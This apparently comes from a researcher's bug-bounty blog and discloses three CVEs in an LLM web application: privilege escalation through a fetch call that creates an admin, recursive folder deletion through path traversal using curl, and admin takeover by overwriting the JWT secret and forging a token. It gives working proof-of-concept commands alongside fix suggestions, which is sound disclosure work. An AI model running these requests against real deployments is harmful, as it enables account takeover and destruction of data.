bounty on Raltheo

CVE-2024-0795 - Improper acces control / admin account takeover

Sat, 02 Mar 2024 00:00:00 +0000

Improper input validation leads to arbitrary folder deletion (recursively)

🔒️ Requirements

Multi-user mode activated
Be manager

👀 Observation

We can see in the ui the manager account cannot create / add / modify admin account however the protection is not present in the server.

💥 Proof of Concept

Here is the actual users :

I will use raltheo2 account.

I open chrome dev tools
Inside the console I put :

fetch('/api/admin/users/new', {method: 'POST',headers: {'Authorization': `Bearer ${localStorage.getItem('anythingllm_authToken')}`,'Content-Type':'application/json'}, body: JSON.stringify({username: 'supadmin9', password: 'password', role: 'admin'})})

This will create an administrator account named supadmin9 with password password

Now login into your new admin account :)

🛠️ Fix suggestion

Separation should be made between admin and manager in server side as in the frontend.

🖊️ références

You can find the report here and the CVE details here.

CVE-2024-0763 - Arbitrary Folder Delete

Tue, 27 Feb 2024 00:00:00 +0000

Improper input validation leads to arbitrary folder deletion (recursively)

🔒️ Requirements

A standard user account (without any admin privilege)

📝 Description

Any user can delete an arbitraty folder (recursively) on remote server due to bad input sanitization leading to path traversal.

This function allows to delete an arbitrary folder (recursively) :

async function purgeFolder(folderName) {
  if (folderName === "custom-documents") return;
  const documentsFolder =
    process.env.NODE_ENV === "development"
      ? path.resolve(__dirname, `../../storage/documents`)
      : path.resolve(process.env.STORAGE_DIR, `documents`);

  const folderPath = path.resolve(documentsFolder, folderName);
  const filenames = fs
    .readdirSync(folderPath)
    .map((file) => path.join(folderName, file));
  const workspaces = await Workspace.where();

  const purgePromises = [];
  // Remove associated Vector-cache files
  for (const filename of filenames) {
    const rmVectorCache = () =>
      new Promise((resolve) =>
        purgeVectorCache(filename).then(() => resolve(true))
      );
    purgePromises.push(rmVectorCache);
  }

  // Remove workspace document associations
  for (const workspace of workspaces) {
    const rmWorkspaceDoc = () =>
      new Promise((resolve) =>
        Document.removeDocuments(workspace, filenames).then(() => resolve(true))
      );
    purgePromises.push(rmWorkspaceDoc);
  }

  await Promise.all(purgePromises.flat().map((f) => f()));
  fs.rmSync(folderPath, { recursive: true }); // Delete root document and source files.

  return;
}

For example, if folderName contains something like ../../../../../../../tmp/, the fs.rmSync(folderPath, { recursive: true }) line of code will result in deleting the file /tmp folder.

Now, this is a vulnerability because the function is called from this endpoint where an attacker fully control the name parameter of te request body.

  app.delete(
    "/system/remove-folder",
    [validatedRequest],
    async (request, response) => {
      try {
        const { name } = reqBody(request);
        await purgeFolder(name);
        response.sendStatus(200).end();
      } catch (e) {
        console.log(e.message, e);
        response.sendStatus(500).end();
      }
    }
  );

We can see that it directly calls purgeFolder with a fully controlled and unsanitized value, thus resulting in the deletion of an arbitrary folder (recursively) if we use ../ to do path traversal.

💥 Proof of Concept

Here is a proof of concept deleting the storage folder (it could be any folder) :

Check that the storage folder exists :

Login into your account (you can skip this step if using a development environment)
Execute the following request :
1. Using curl :

# Replace with your token
export TOKEN=""
curl --location --request DELETE 'http://localhost:3001/api/system/remove-folder' \
--header 'Content-Type: application/json' \
--header "Authorization: Bearer $TOKEN" \
--data '{"name" : "../../storage"}'

You can also do it using POSTMAN :

Check that the folder folder has been deleted successfully :

🛠️ Fix suggestion

Sanitize the name parameter of the request.

🖊️ références

You can find the report here and the CVE details here.

CVE-2023-5833 - Admin account TakeOver

Thu, 14 Sep 2023 00:00:00 +0000

📝 Description

The endpoint api/system/update-env allows any authenticated users to change env variables of the back-end process. We will abuse this functionnality to change JWT_SECRET env variable (which is used to sign the JWT token).

💥 Proof of Concept

Imagine the following list of accounts is used :

Login to the user (who is not admin) account and grab the jwt token in the localStorage (with the key : anythingllm_authToken )

The jwt token infos are (base64 decoded) :

{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "id": 2,
  "username": "user",
  "iat": 1694641865,
  "exp": 1697233865
}

Now go on Postman and send a POST request to http://localhost:3001/api/system/update-env with our JWT as Bearer token value and with the following json as body :

`1`	`{"JWTSecret":"admintakeover"}`

Now go to jwt.io and put the JWT token, change the id and username, sign the JWT with the secret admintakeover

Put this token in your localstorage and reload page, you should be admin (we can see i’m admin with the forged jwt token):

🖊️ références

You can find the report here and the CVE details here.